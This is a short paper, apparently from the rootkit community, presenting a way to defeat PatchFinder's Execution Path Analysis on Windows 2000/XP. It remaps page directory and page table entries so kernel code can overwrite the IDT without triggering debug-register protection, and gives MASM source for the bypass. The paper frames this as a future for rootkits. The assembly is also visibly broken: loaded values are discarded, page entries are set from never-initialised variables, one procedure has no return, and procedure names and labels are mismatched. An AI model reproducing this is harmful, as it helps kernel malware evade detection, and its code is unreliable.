Avoiding Windows Rootkit Detection

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Introduction

PatchFinder is a sophisticated diagnostic utility designed to detect kernel compromises. It is based in EPA (Execution Path Analysis) to detect rootkits. Read [1] and [2] to full understand how it works. This paper will show a method to circumvent the EPA.

Method

EPA is based in single stepping mode of Intel Architecture using entry number 0x1 of the Interrupt Descriptor Table [IDT]. But, to avoid rootkit to change that entry, it used the Debug Registers(DR0, DR1) to protect the Debug Handler procedure (very nice idea).

![Diagram of EPA protection mechanism]

Fig. 0 - EPA protection mechanism.

But, let's read again the Intel Manual [3]:

"Each of the debug-address registers (DR0 through DR3) holds the 32-bit linear address of a breakpoint".

Pay attention: LINEAR ADDRESS! In Windows 2000/XP, is used the PAGING mechanism, wich translate LINEAR address to PHYSICAL address.
Suppose that IDT base address is at 0x8003F400, stored in IDTR. Then, IDT entry number 0x01 is at 0x8003F408.

Intel again about IDTR:

"The base address specifies the LINEAR address of byte 0 of the IDT".

The Page Directory of Windows 2000/XP pointed by CR3 register is mapped at linear address 0xc0300000. Linear address is divided in Directory, Table and Offset. Using the paging mechanism explained in to the manual, we found the PHYSICAL address of 0x8003F408 to be 0x03F00 (value obtained experimentally).

All we need to do now is create a buffer, get the pointer to this buffer and change the PAGE DIRECTORY and PAGE TABLE to make the buffer to point to the PHYSICAL address 0x03F00.

After this, just write to the buffer and you will write in to the IDT without triggering the protection mechanism!!!! Debug Registers are useless to protect memory, because they don’t protect PHYSICAL memory.

THE SOURCE CODE

Now comes the source, written for MASM v8.0
I love assembly language programming :-) The complete source is at www.rootkit.com.

;--- IDTR structure definition------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
;-------------------

BypassIDTProtection PROC
    LOCAL dbgHandler:DWORD
    LOCAL myIDT:DIDTR
    LOCAL idtbase:DWORD
    LOCAL idtbaseoff:DWORD
    LOCAL idtPDE:DWORD
    LOCAL idtPDEaddr:DWORD
    LOCAL idtPTE:DWORD
    LOCAL idtPTEaddr:DWORD
    LOCAL varbase:DWORD
    LOCAL varbaseoff:DWORD
    LOCAL varPDE:DWORD
    LOCAL varPDEaddr:DWORD
    LOCAL varPTE:DWORD
    LOCAL varPTEaddr:DWORD
    LOCAL diffoffset:DWORD
    pushad

    ;Allocate memory to be PAGE size aligned
    invoke ExAllocatePool, NonPagedPoolMustSucceed, 01000h
    mov varbase, eax
cli ;don’t disturb!

invoke DisablePageProtection ;for XP, old trick used by Regmon

sidt myIDT
mov eax, myIDT.ibase
add eax, 08h
mov idtbase, eax ;idtbase = IDT base addr + 8 bytes

and eax, 0FFC00000h ;Get Directory Index of IDT address
shr eax, 22
shl eax, 2 ;multiply by four

mov ebx, 0c0300000h ;0c0300000 = PAGE DIRECTORY
add ebx, eax
mov idtPDEaddr, ebx

mov eax, [ebx] ;eax = PAGE DIRECTORY ENTRY for IDT address
mov eax, idtbase
and eax, 0FFFh ;Get 12 LSB of IDT address = Offset into PAGE
mov idtbaseoff, eax

mov eax, idtbase
shr eax, 12 ;Get 22 MSB of IDT address
shl eax, 2 ;multiply by four

mov ebx, 0c0000000h ;0c0000000 = INIT of PAGE TABLEs
add ebx, eax
mov idtPTEaddr, ebx ;address of IDT address PTE

mov eax, [ebx] ;value of idt adress PTE
mov eax, varbase
and eax, 0FFC00000h ;Get varbase PD index
shr eax, 22
shl eax, 2

mov ebx, 0c0300000h
add ebx, eax
mov varPDEaddr, ebx

mov eax, [ebx] ;varPDE, eax
mov eax, varbase
and eax, 0FFFh
mov varbaseoff, eax

mov eax, varbase
shr eax, 12
shl eax, 2

mov ebx, 0c0000000h
add ebx, eax
mov varPTEaddr, ebx

mov eax, [ebx] ;varPTE, eax
mov eax, varPDEaddr ;change Page Directory Entry
mov ebx, idtPDE
mov [eax], ebx

mov eax, varPTEaddr ;change Page Table Entry
mov ebx, idtPTE
mov [eax], ebx
BypassIDTProtection ENDP

EnablePageProtection proc
push eax
mov eax, CR0
and eax, 0FFFFFFFh
mov CR0, eax
pop eax
ret
EnablePageProtection endp

DISABLED PAGE PROTECTION ENDP

THE FUTURE OF ROOTKITS

Unfortunately, this method makes the EPA to become useless. Until Microsoft don’t change his security architecture, none method will stop rootkits in future. The future rootkits will heavily play with paging mechanism. There are infinite possibilities. Once time in Ring Zero, forever Ring Zero.

REFERENCES